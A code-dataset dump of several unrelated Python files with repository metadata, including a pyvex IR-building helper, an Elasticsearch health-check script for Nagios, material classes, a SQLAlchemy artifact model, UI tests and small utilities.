12e8aa431c8b64b037617d63f23e56b454b576c8 | 9,842 | py | Python | pyvex/lifting/util/vex_helper.py | osogi/pyvex | f9b15e64eb5b4991e3cbfa0cb2e7885c6fd2f03f | [
"BSD-2-Clause"
] | 261 | 2015-05-20T09:45:59.000Z | 2022-03-15T04:36:29.000Z | pyvex/lifting/util/vex_helper.py | osogi/pyvex | f9b15e64eb5b4991e3cbfa0cb2e7885c6fd2f03f | [
"BSD-2-Clause"
] | 187 | 2015-05-27T09:21:06.000Z | 2022-03-13T06:18:41.000Z | pyvex/lifting/util/vex_helper.py | osogi/pyvex | f9b15e64eb5b4991e3cbfa0cb2e7885c6fd2f03f | [
"BSD-2-Clause"
] | 115 | 2015-05-20T00:22:10.000Z | 2022-03-13T02:56:39.000Z |
import re
import copy
from ...const import ty_to_const_class, vex_int_class, get_type_size
from ...expr import Const, RdTmp, Unop, Binop, Load, CCall, Get, ITE
from ...stmt import WrTmp, Put, IMark, Store, NoOp, Exit
from ...enums import IRCallee
from future.utils import with_metaclass
class JumpKind(object):
Boring = 'Ijk_Boring'
Call = 'Ijk_Call'
Ret = 'Ijk_Ret'
Segfault = 'Ijk_SigSEGV'
Exit = 'Ijk_Exit'
Syscall = 'Ijk_Sys_syscall'
Sysenter = 'Ijk_Sys_sysenter'
Invalid = 'Ijk_INVALID'
NoDecode = 'Ijk_NoDecode'
typemeta_re = re.compile(r'int_(?P<size>\d+)$')
class TypeMeta(type):
def __getattr__(self, name):
match = typemeta_re.match(name)
if match:
width = int(match.group('size'))
return vex_int_class(width).type
else:
return type.__getattr__(name)
class Type(with_metaclass(TypeMeta, object)):
__metaclass__ = TypeMeta
ieee_float_16 = 'Ity_F16'
ieee_float_32 = 'Ity_F32'
ieee_float_64 = 'Ity_F64'
ieee_float_128 = 'Ity_F128'
decimal_float_32 = 'Ity_D32'
decimal_float_64 = 'Ity_D64'
decimal_float_128 = 'Ity_D128'
simd_vector_128 = 'Ity_V128'
simd_vector_256 = 'Ity_V256'
def get_op_format_from_const_ty(ty):
return ty_to_const_class(ty).op_format
def make_format_op_generator(fmt_string):
"""
Return a function which generates an op format (just a string of the vex instruction)
Functions by formatting the fmt_string with the types of the arguments
"""
def gen(arg_types):
converted_arg_types = list(map(get_op_format_from_const_ty, arg_types))
op = fmt_string.format(arg_t=converted_arg_types)
return op
return gen
def mkbinop(fstring):
return lambda self, expr_a, expr_b: self.op_binary(make_format_op_generator(fstring))(expr_a, expr_b)
def mkunop(fstring):
return lambda self, expr_a: self.op_unary(make_format_op_generator(fstring))(expr_a)
def mkcmpop(fstring_fragment, signedness=''):
def cmpop(self, expr_a, expr_b):
ty = self.get_type(expr_a)
fstring = 'Iop_Cmp%s{arg_t[0]}%s' % (fstring_fragment, signedness)
retval = mkbinop(fstring)(self, expr_a, expr_b)
return self.cast_to(retval, ty)
return cmpop
class IRSBCustomizer(object):
op_add = mkbinop('Iop_Add{arg_t[0]}')
op_sub = mkbinop('Iop_Sub{arg_t[0]}')
op_umul = mkbinop('Iop_Mul{arg_t[0]}')
op_smul = mkbinop('Iop_MullS{arg_t[0]}')
op_sdiv = mkbinop('Iop_DivS{arg_t[0]}')
op_udiv = mkbinop('Iop_DivU{arg_t[0]}')
# Custom operation that does not exist in libVEX
op_mod = mkbinop('Iop_Mod{arg_t[0]}')
op_or = mkbinop('Iop_Or{arg_t[0]}')
op_and = mkbinop('Iop_And{arg_t[0]}')
op_xor = mkbinop('Iop_Xor{arg_t[0]}')
op_shr = mkbinop('Iop_Shr{arg_t[0]}')
op_shl = mkbinop('Iop_Shl{arg_t[0]}')
op_not = mkunop('Iop_Not{arg_t[0]}')
op_cmp_eq = mkcmpop('EQ')
op_cmp_ne = mkcmpop('NE')
op_cmp_slt = mkcmpop('LT', 'S')
op_cmp_sle = mkcmpop('LE', 'S')
op_cmp_ult = mkcmpop('LT', 'U')
op_cmp_ule = mkcmpop('LE', 'U')
op_cmp_sge = mkcmpop('GE', 'S')
op_cmp_uge = mkcmpop('GE', 'U')
op_cmp_sgt = mkcmpop('GT', 'S')
op_cmp_ugt = mkcmpop('GT', 'U')
def __init__(self, irsb):
self.arch = irsb.arch
self.irsb = irsb
def get_type(self, rdt):
return rdt.result_type(self.irsb.tyenv)
# Statements (no return value)
def _append_stmt(self, stmt):
self.irsb.statements += [stmt]
def imark(self, int_addr, int_length, int_delta=0):
self._append_stmt(IMark(int_addr, int_length, int_delta))
def get_reg(self, regname): # TODO move this into the lifter
return self.arch.registers[regname][0]
def put(self, expr_val, tuple_reg):
self._append_stmt(Put(copy.copy(expr_val), tuple_reg))
def store(self, addr, expr):
self._append_stmt(Store(copy.copy(addr), copy.copy(expr), self.arch.memory_endness))
def noop(self):
self._append_stmt(NoOp())
def add_exit(self, guard, dst, jk, ip):
"""
Add an exit out of the middle of an IRSB.
(e.g., a conditional jump)
:param guard: An expression, the exit is taken if true
:param dst: the destination of the exit (a Const)
:param jk: the JumpKind of this exit (probably Ijk_Boring)
:param ip: The address of this exit's source
"""
self.irsb.statements.append(Exit(guard, dst.con, jk, ip))
# end statements
def goto(self, addr):
self.irsb.next = addr
self.irsb.jumpkind = JumpKind.Boring
def ret(self, addr):
self.irsb.next = addr
self.irsb.jumpkind = JumpKind.Ret
def call(self, addr):
self.irsb.next = addr
self.irsb.jumpkind = JumpKind.Call
def _add_tmp(self, t):
return self.irsb.tyenv.add(t)
def _rdtmp(self, tmp):
return RdTmp.get_instance(tmp)
def _settmp(self, expr):
ty = self.get_type(expr)
tmp = self._add_tmp(ty)
self._append_stmt(WrTmp(tmp, expr))
return self._rdtmp(tmp)
def rdreg(self, reg, ty):
return self._settmp(Get(reg, ty))
def load(self, addr, ty):
return self._settmp(Load(self.arch.memory_endness, ty, copy.copy(addr)))
def op_ccall(self, retty, funcstr, args):
return self._settmp(CCall(retty, IRCallee(len(args), funcstr, 0xffff), args))
def ite(self, condrdt, iftruerdt, iffalserdt):
return self._settmp(ITE(copy.copy(condrdt), copy.copy(iffalserdt), copy.copy(iftruerdt)))
def mkconst(self, val, ty):
cls = ty_to_const_class(ty)
return Const(cls(val))
# Operations
def op_generic(self, Operation, op_generator):
def instance(*args): # Note: The args here are all RdTmps
for arg in args: assert isinstance(arg, RdTmp) or isinstance(arg, Const)
arg_types = [self.get_type(arg) for arg in args]
# two operations should never share the same argument instances, copy them here to ensure that
args = [copy.copy(a) for a in args]
op = Operation(op_generator(arg_types), args)
msg = "operation needs to be well typed: " + str(op)
assert op.typecheck(self.irsb.tyenv), msg + "\ntypes: " + str(self.irsb.tyenv)
return self._settmp(op)
return instance
def op_binary(self, op_format_str):
return self.op_generic(Binop, op_format_str)
def op_unary(self, op_format_str):
return self.op_generic(Unop, op_format_str)
def cast_to(self, rdt, tydest, signed=False, high=False):
goalwidth = get_type_size(tydest)
rdtwidth = self.get_rdt_width(rdt)
if rdtwidth > goalwidth:
return self.op_narrow_int(rdt, tydest, high_half=high)
elif rdtwidth < goalwidth:
return self.op_widen_int(rdt, tydest, signed=signed)
else:
return rdt
def op_to_one_bit(self, rdt):
rdtty = self.get_type(rdt)
if rdtty not in [Type.int_64, Type.int_32]:
rdt = self.op_widen_int_unsigned(rdt, Type.int_32)
onebit = self.op_narrow_int(rdt, Type.int_1)
return onebit
def op_narrow_int(self, rdt, tydest, high_half=False):
op_name = '{op}{high}to{dest}'.format(op='Iop_{arg_t[0]}',
high='HI' if high_half else '',
dest=get_op_format_from_const_ty(tydest))
return self.op_unary(make_format_op_generator(op_name))(rdt)
def op_widen_int(self, rdt, tydest, signed=False):
op_name = '{op}{sign}to{dest}'.format(op='Iop_{arg_t[0]}',
sign='S' if signed else 'U',
dest=get_op_format_from_const_ty(tydest))
return self.op_unary(make_format_op_generator(op_name))(rdt)
def op_widen_int_signed(self, rdt, tydest):
return self.op_widen_int(rdt, tydest, signed=True)
def op_widen_int_unsigned(self, rdt, tydest):
return self.op_widen_int(rdt, tydest, signed=False)
def get_msb(self, tmp, ty):
width = get_type_size(ty)
return self.get_bit(tmp, width-1)
def get_bit(self, rdt, idx):
shifted = self.op_shr(rdt, idx)
bit = self.op_extract_lsb(shifted)
return bit
def op_extract_lsb(self, rdt):
bitmask = self.mkconst(1, self.get_type(rdt))
return self.op_and(bitmask, rdt)
def set_bit(self, rdt, idx, bval):
currbit = self.get_bit(rdt, idx)
bvalbit = self.op_extract_lsb(bval)
areequalextrabits = self.op_xor(bval, currbit)
one = self.mkconst(1, self.get_type(areequalextrabits))
areequal = self.op_and(areequalextrabits, one)
shifted = self.op_shl(areequal, idx)
return self.op_xor(rdt, shifted)
def set_bits(self, rdt, idxsandvals):
ty = self.get_type(rdt)
if all([isinstance(idx, Const) for idx, _ in idxsandvals]):
relevantbits = self.mkconst(sum([1 << idx.con.value for idx, _ in idxsandvals]), ty)
else:
relevantbits = self.mkconst(0, ty)
for idx, _ in idxsandvals:
shifted = self.op_shl(self.mkconst(1, ty), idx)
relevantbits = self.op_or(relevantbits, shifted)
setto = self.mkconst(0, ty)
for idx, bval in idxsandvals:
bvalbit = self.op_extract_lsb(bval)
shifted = self.op_shl(bvalbit, idx)
setto = self.op_or(setto, shifted)
shouldflip = self.op_and(self.op_xor(setto, rdt), relevantbits)
return self.op_xor(rdt, shouldflip)
def get_rdt_width(self, rdt):
return rdt.result_size(self.irsb.tyenv)
| 35.024911 | 106 | 0.634627 | 1,431 | 9,842 | 4.122292 | 0.202655 | 0.030514 | 0.013562 | 0.01424 | 0.21546 | 0.158671 | 0.109849 | 0.096796 | 0.071877 | 0.071877 | 0 | 0.010414 | 0.24873 | 9,842 | 280 | 107 | 35.15 | 0.787395 | 0.070819 | 0 | 0.057971 | 0 | 0 | 0.063059 | 0.002319 | 0 | 0 | 0.000663 | 0.003571 | 0.009662 | 1 | 0.21256 | false | 0 | 0.033816 | 0.077295 | 0.647343 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
12eddd8485a0652062227e6ee50b31d0104cdddb | 2,197 | py | Python | check_elasticsearch.py | zhanghba/nagios | d68d1b7823c610f92c47d52dbb4fc05a6b8fc821 | [
"Apache-2.0"
] | 23 | 2016-02-18T03:19:31.000Z | 2020-01-20T06:45:53.000Z | check_elasticsearch.py | zhanghba/nagios | d68d1b7823c610f92c47d52dbb4fc05a6b8fc821 | [
"Apache-2.0"
] | 3 | 2017-06-14T03:03:59.000Z | 2019-12-25T09:46:16.000Z | check_elasticsearch.py | zhanghba/nagios | d68d1b7823c610f92c47d52dbb4fc05a6b8fc821 | [
"Apache-2.0"
] | 26 | 2016-05-11T12:49:55.000Z | 2021-06-01T03:55:18.000Z | #!/usr/bin/env python
#coding:utf-8
import urllib2
import sys
import argparse
import json
import base64
parser=argparse.ArgumentParser(description="check elastic search health.")
parser.add_argument("-H",dest="host",help="Host")
parser.add_argument("-P",dest="port",default=9200,help="elastic search http port,default 9200.")
parser.add_argument("-u",dest="username",default=None,help="http auth username")
parser.add_argument("-p",dest="password",default=None,help="http auth password")
args=parser.parse_args()
if not args.host or not args.port:
print "Critical - Invalid command,please check."
sys.exit(2)
url='http://%s:%s/_cluster/health' % (args.host,args.port)
req=urllib2.Request(url)
if args.username and args.password:
base64string = base64.b64encode('%s:%s' % (args.username,args.password))
req.add_header("Authorization", "Basic %s" % base64string)
req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36")
try:
response=urllib2.urlopen(req,timeout=30)
except urllib2.HTTPError,e:
print "Critical - %s" % e
sys.exit(2)
except:
print "Critical - elasticsearch health status get error."
sys.exit(2)
result=json.loads(response.read())
if result['status'] == 'green':
print "OK - elasticsearch is running,status: green. | active_primary=%s;;;;active=%s;;;;relocating=%s;;;;init=%s;;;;" % \
(result['active_primary_shards'],result['active_shards'],result['relocating_shards'],result['initializing_shards'])
sys.exit(0)
elif result['status'] == 'yellow':
print "WARNING - elasticsearch is running,status: yellow. | active_primary=%s;;;;active=%s;;;;relocating=%s;;;;init=%s;;;;" % \
(result['active_primary_shards'],result['active_shards'],result['relocating_shards'],result['initializing_shards'])
sys.exit(1)
else:
print "Critical - elasticsearch is running,status: red. | active_primary=%s;;;;active=%s;;;;relocating=%s;;;;init=%s;;;;" % \
(result['active_primary_shards'],result['active_shards'],result['relocating_shards'],result['initializing_shards'])
sys.exit(2)
| 39.945455 | 141 | 0.693673 | 295 | 2,197 | 5.077966 | 0.372881 | 0.072096 | 0.045394 | 0.056075 | 0.326435 | 0.266355 | 0.266355 | 0.266355 | 0.266355 | 0.266355 | 0 | 0.029212 | 0.127447 | 2,197 | 54 | 142 | 40.685185 | 0.752217 | 0.014565 | 0 | 0.170732 | 0 | 0.097561 | 0.465844 | 0.118121 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.073171 | 0.121951 | null | null | 0.146341 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
12f5f3dfac5198e98c01eb14325ffb9c1678ed63 | 1,266 | py | Python | rocketPy/materials.py | dev10110/rocketPy_development | ee4fc9e93cf8a6ee6f72800ba79f6281b0aeb9fa | [
"MIT"
] | 2 | 2020-10-24T16:13:55.000Z | 2020-10-29T02:08:48.000Z | rocketPy/materials.py | dev10110/rocketPy_development | ee4fc9e93cf8a6ee6f72800ba79f6281b0aeb9fa | [
"MIT"
] | null | null | null | rocketPy/materials.py | dev10110/rocketPy_development | ee4fc9e93cf8a6ee6f72800ba79f6281b0aeb9fa | [
"MIT"
] | 2 | 2020-10-24T16:13:57.000Z | 2020-10-29T02:08:50.000Z | from . import ureg, Q_
class Material():
def __init__(self, name):
self.name = name
self.density = 0*ureg.km/(ureg.m**3)
def __repr__(self):
return f'{self.name}: (Material))'
class Aluminium(Material):
def __init__(self, name='Al-6061-T6'):
super().__init__(name=name)
self.density = 2.7*ureg.g/(ureg.cm**3)
self.tensile_mod = 69*ureg.GPa
self.tensile_strength = 270*ureg.MPa
self.max_temp = 420*ureg.degK
class PLA(Material):
def __init__(self, name='PLA'):
super().__init__(name=name)
self.density = 1.05*ureg.g/(ureg.cm**3)
class Phenolic(Material):
def __init__(self, name='Phenolic'):
super().__init__(name=name)
self.density = 0.95*ureg.g/(ureg.cm**3)
class Acrylic(Material):
def __init__(self, name='Acrylic'):
super().__init__(name=name)
self.density = 1.19*ureg.g/(ureg.cm**3)
class Plywood(Material):
def __init__(self, name='Plywood'):
super().__init__(name=name)
self.density = 0.63*ureg.g/(ureg.cm**3)
class Polycarbonate(Material):
def __init__(self, name='Polycarbonate'):
super().__init__(name=name)
self.density = 1.2*ureg.g/(ureg.cm**3)
| 18.617647 | 47 | 0.603476 | 175 | 1,266 | 4.022857 | 0.274286 | 0.102273 | 0.149148 | 0.18892 | 0.633523 | 0.34233 | 0.205966 | 0 | 0 | 0 | 0 | 0.038027 | 0.231438 | 1,266 | 67 | 48 | 18.895522 | 0.685509 | 0 | 0 | 0.176471 | 0 | 0 | 0.056872 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.235294 | false | 0 | 0.029412 | 0.029412 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4215e13834b445f23da97707837e40fefea6e6eb | 68 | py | Python | src/starlette_htmx/__init__.py | lllama/starlette-htmx | ccab89f9f69c6d99b93f651ce3c9e4369d24f290 | [
"MIT"
] | 3 | 2022-02-10T17:03:57.000Z | 2022-02-24T07:04:22.000Z | src/starlette_htmx/__init__.py | lllama/starlette-htmx | ccab89f9f69c6d99b93f651ce3c9e4369d24f290 | [
"MIT"
] | null | null | null | src/starlette_htmx/__init__.py | lllama/starlette-htmx | ccab89f9f69c6d99b93f651ce3c9e4369d24f290 | [
"MIT"
] | 1 | 2022-03-12T22:14:33.000Z | 2022-03-12T22:14:33.000Z | """Extensions for using HTMX with Starlette"""
__version__ = "0.1"
| 17 | 46 | 0.705882 | 9 | 68 | 4.888889 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034483 | 0.147059 | 68 | 3 | 47 | 22.666667 | 0.724138 | 0.588235 | 0 | 0 | 0 | 0 | 0.136364 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
421cc387c9a56d1c47e30729cefed0130c231cf1 | 1,188 | py | Python | testprojects/pants-plugins/src/python/test_pants_plugin/subsystems/lifecycle_stubs.py | billybecker/pants | ee101f3e360b712aceb9dacf7723aaf9b5567f04 | [
"Apache-2.0"
] | 94 | 2015-01-15T21:24:20.000Z | 2022-02-16T16:55:43.000Z | testprojects/pants-plugins/src/python/test_pants_plugin/subsystems/lifecycle_stubs.py | billybecker/pants | ee101f3e360b712aceb9dacf7723aaf9b5567f04 | [
"Apache-2.0"
] | 5 | 2020-07-18T01:04:43.000Z | 2021-05-10T08:40:56.000Z | testprojects/pants-plugins/src/python/test_pants_plugin/subsystems/lifecycle_stubs.py | billybecker/pants | ee101f3e360b712aceb9dacf7723aaf9b5567f04 | [
"Apache-2.0"
] | 47 | 2015-02-25T02:20:07.000Z | 2022-03-21T00:59:16.000Z | # coding=utf-8
# Copyright 2018 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import absolute_import, division, print_function, unicode_literals
from pants.option.custom_types import file_option
from pants.subsystem.subsystem import Subsystem
from pants.util.memo import memoized_property
class LifecycleStubs(Subsystem):
"""A subsystem used to configure workflows for lifecycle tests (Pants stopping and starting)."""
options_scope = 'lifecycle-stubs'
@classmethod
def register_options(cls, register):
super(LifecycleStubs, cls).register_options(register)
register('--add-exiter-message', type=str, default=None,
help='Add a message which displays to stderr on fatal exit.')
register('--new-interactive-stream-output-file', type=file_option, default=None,
help='Redirect interactive output into a separate file.')
@memoized_property
def add_exiter_message(self):
return self.get_options().add_exiter_message
@memoized_property
def new_interactive_stream_output_file(self):
return self.get_options().new_interactive_stream_output_file
| 38.322581 | 98 | 0.775253 | 154 | 1,188 | 5.785714 | 0.525974 | 0.030303 | 0.053872 | 0.087542 | 0.154882 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006843 | 0.138889 | 1,188 | 30 | 99 | 39.6 | 0.864125 | 0.194444 | 0 | 0.105263 | 0 | 0 | 0.182297 | 0.037935 | 0 | 0 | 0 | 0 | 0 | 1 | 0.157895 | false | 0 | 0.210526 | 0.105263 | 0.578947 | 0.052632 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
4229fcd436132ac492e5ee2c80913fd9c105fe28 | 2,239 | py | Python | changes/models/artifact.py | vault-the/changes | 37e23c3141b75e4785cf398d015e3dbca41bdd56 | [
"Apache-2.0"
] | 443 | 2015-01-03T16:28:39.000Z | 2021-04-26T16:39:46.000Z | changes/models/artifact.py | vault-the/changes | 37e23c3141b75e4785cf398d015e3dbca41bdd56 | [
"Apache-2.0"
] | 12 | 2015-07-30T19:07:16.000Z | 2016-11-07T23:11:21.000Z | changes/models/artifact.py | vault-the/changes | 37e23c3141b75e4785cf398d015e3dbca41bdd56 | [
"Apache-2.0"
] | 47 | 2015-01-09T10:04:00.000Z | 2020-11-18T17:58:19.000Z | from __future__ import absolute_import
import uuid
from datetime import datetime
from sqlalchemy import Column, String, DateTime, ForeignKey
from sqlalchemy.orm import relationship, backref
from sqlalchemy.schema import UniqueConstraint, Index
from changes.config import db
from changes.db.types.filestorage import FileData, FileStorage
from changes.db.types.guid import GUID
from changes.db.types.json import JSONEncodedDict
ARTIFACT_STORAGE_OPTIONS = {
'path': 'artifacts',
}
class Artifact(db.Model):
"""
The artifact produced by one job/step, produced on a single machine.
Sometimes this is a JSON dict referencing a file in S3, sometimes
it is Null, sometimes it is an empty dict. It is basically any file
left behind after a run for changes to pick up
"""
id = Column(GUID, primary_key=True, default=uuid.uuid4)
job_id = Column(GUID, ForeignKey('job.id', ondelete="CASCADE"), nullable=False)
step_id = Column(GUID, ForeignKey('jobstep.id', ondelete="CASCADE"), nullable=False)
project_id = Column(GUID, ForeignKey('project.id', ondelete="CASCADE"), nullable=False)
name = Column(String(1024), nullable=False)
date_created = Column(DateTime, nullable=False, default=datetime.utcnow)
data = Column(JSONEncodedDict)
file = Column(FileStorage(**ARTIFACT_STORAGE_OPTIONS))
job = relationship('Job', backref=backref('artifacts'))
project = relationship('Project')
step = relationship('JobStep', backref=backref('artifacts'))
__tablename__ = 'artifact'
__table_args__ = (
UniqueConstraint('step_id', 'name', name='unq_artifact_name'),
Index('idx_artifact_job_id', 'job_id'),
Index('idx_artifact_project_id', 'project_id'),
)
def __init__(self, **kwargs):
super(Artifact, self).__init__(**kwargs)
if self.id is None:
self.id = uuid.uuid4()
if self.date_created is None:
self.date_created = datetime.utcnow()
if self.data is None:
self.data = {}
if self.file is None:
# TODO(dcramer): this is super hacky but not sure a better way to
# do it with SQLAlchemy
self.file = FileData({}, ARTIFACT_STORAGE_OPTIONS)
| 37.949153 | 91 | 0.69674 | 285 | 2,239 | 5.312281 | 0.364912 | 0.042933 | 0.031704 | 0.035667 | 0.059445 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003911 | 0.200536 | 2,239 | 58 | 92 | 38.603448 | 0.841899 | 0.150067 | 0 | 0 | 0 | 0 | 0.100854 | 0.012273 | 0 | 0 | 0 | 0.017241 | 0 | 1 | 0.02439 | false | 0 | 0.243902 | 0 | 0.609756 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
422b0e2773625d3d56bef8cf0299634a3866c97f | 429 | py | Python | djalma.py | MiguelTeixeiraUFPB/Python-M1 | 43f13efb09aa4c11c77f9362e8642f4f51832768 | [
"MIT"
] | null | null | null | djalma.py | MiguelTeixeiraUFPB/Python-M1 | 43f13efb09aa4c11c77f9362e8642f4f51832768 | [
"MIT"
] | null | null | null | djalma.py | MiguelTeixeiraUFPB/Python-M1 | 43f13efb09aa4c11c77f9362e8642f4f51832768 | [
"MIT"
] | null | null | null | disciplinas=int(input('quantidade de disciplinas por semana: '))
tempojudo=int(input('quantidade de tempo por aula de inglês em minutos: '))
tempoingles=int(input('quantidade de tempo por aula de judô em minutos: '))
ingles=tempoingles*2
minutoslivres=15*60
temposobra= minutoslivres-(ingles+tempojudo)
temposidciplinas= temposobra/disciplinas
print('o tempo por aula será de {:.1f} minutos por semana'.format(temposidciplinas))
| 47.666667 | 84 | 0.794872 | 58 | 429 | 5.87931 | 0.465517 | 0.070381 | 0.158358 | 0.175953 | 0.199413 | 0.199413 | 0.199413 | 0.199413 | 0 | 0 | 0 | 0.015504 | 0.097902 | 429 | 8 | 85 | 53.625 | 0.865633 | 0 | 0 | 0 | 0 | 0 | 0.438228 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.125 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4230af0aced08f6eb4cc77b01eaacef4f6b1d4ff | 843 | py | Python | error/home_works/test/test_modify_contact.py | Alex-Chizhov/python_training | 3ef15c36488921e89e71b678673718a428da9c39 | [
"Apache-2.0"
] | null | null | null | error/home_works/test/test_modify_contact.py | Alex-Chizhov/python_training | 3ef15c36488921e89e71b678673718a428da9c39 | [
"Apache-2.0"
] | null | null | null | error/home_works/test/test_modify_contact.py | Alex-Chizhov/python_training | 3ef15c36488921e89e71b678673718a428da9c39 | [
"Apache-2.0"
] | null | null | null | from model.info_contact import Infos
def test_modify_contact_firstname(app):
if app.contact.count() == 0:
app.contact.link_add_new()
app.contact.fill_form(Infos(firstname="AAAAA"))
app.contact.input_save_form()
if app.contact.count_modify('firstname') == 0:
app.contact.fill_form(Infos(firstname ='1111'))
app.contact.click_update()
#app.contact.modify_first_contact(Infos(firstname="New firstname")) Решил не удалять пока
def test_modify_contact_month_Anniversary(app):
if app.contact.count() == 0:
app.contact.link_add_new()
app.contact.fill_form(Infos(month_Anniversary="[5]"))
app.contact.input_save_form()
if app.contact.count_modify_amonth() == 1:
app.contact.fill_form(Infos(month_Anniversary ="[7]"))
app.contact.click_update()
#app.contact.modify_first_contact(Infos(month_Anniversary="[6]"))
| 24.794118 | 91 | 0.754448 | 123 | 843 | 4.910569 | 0.300813 | 0.264901 | 0.07947 | 0.112583 | 0.701987 | 0.701987 | 0.634106 | 0.543046 | 0.543046 | 0.543046 | 0 | 0.014493 | 0.099644 | 843 | 33 | 92 | 25.545455 | 0.781291 | 0.180308 | 0 | 0.470588 | 0 | 0 | 0.034884 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.117647 | false | 0 | 0.058824 | 0 | 0.176471 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4241ce7a05069b30381a347e452cf91bbb2b206c | 1,676 | py | Python | frontmatter.py | ellisonbg/talk-2013-pydata-nyc | 7d40ff8ee3ee948de21c40bdf339506ddefb2482 | [
"MIT"
] | 2 | 2015-05-04T16:44:10.000Z | 2015-08-30T12:36:37.000Z | frontmatter.py | ellisonbg/talk-2013-pydata-nyc | 7d40ff8ee3ee948de21c40bdf339506ddefb2482 | [
"MIT"
] | null | null | null | frontmatter.py | ellisonbg/talk-2013-pydata-nyc | 7d40ff8ee3ee948de21c40bdf339506ddefb2482 | [
"MIT"
] | null | null | null | from IPython.display import display, Image, HTML
class _ellisonbg(object):
def _repr_html_(self):
s = '<h3><a href="http://www.brianegranger.com" target="_blank">Brian E. Granger</a></h3>'
s += '<h3><a href="http://calpoly.edu" target="_blank">Cal Poly</a> <a href="http://physics.calpoly.edu/" target="_blank">Physics Department</a></h3>'
s += '<h3><a href="http://ipython.org" target="_blank">IPython Project</a></h3>'
s += '<h3><a href="https://twitter.com/ellisonbg" target="_blank">@ellisonbg</a></h3>'
return s
def __repr__(self):
s = "Brian E. Granger\n"
s += "Cal Poly Physics Department\n"
s += "IPython Project"
s += "@ellisonbg"
return s
_bio_text = """Brian Granger is an Assistant Professor of Physics at Cal Poly State University in San
Luis Obispo, CA. He has a background in theoretical atomic, molecular and optical physics,
with a Ph.D from the University of Colorado. His current research interests include
quantum computing, parallel and distributed computing and interactive computing
environments for scientific and technical computing. He is a core developer of the IPython
project and is an active contributor to a number of other open source projects focused on
scientific computing in Python. He is @ellisonbg on Twitter and GitHub."""
class _bio(object):
def _repr_html_(self):
return _bio_text
def __repr__(self):
return _bio_text
def whoami():
display(_ellisonbg())
def bio():
display(_bio())
def logos():
display(Image('images/calpoly_logo.png'))
display(Image('images/ipython_logo.png'))
| 35.659574 | 158 | 0.677804 | 235 | 1,676 | 4.702128 | 0.417021 | 0.022624 | 0.01448 | 0.028959 | 0.118552 | 0.037104 | 0.027149 | 0 | 0 | 0 | 0 | 0.005957 | 0.198687 | 1,676 | 47 | 159 | 35.659574 | 0.816828 | 0 | 0 | 0.242424 | 0 | 0.121212 | 0.650566 | 0.088253 | 0 | 0 | 0 | 0 | 0 | 1 | 0.212121 | false | 0 | 0.030303 | 0.060606 | 0.424242 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
42427df16fcb028847582725bb139ab3a40f4141 | 470 | py | Python | game2048/my_model.py | InfiniteMiracle/517021911084_2048API | 5d00d46ff31aa3c143f817f0c77fbac04159cd12 | [
"Apache-2.0"
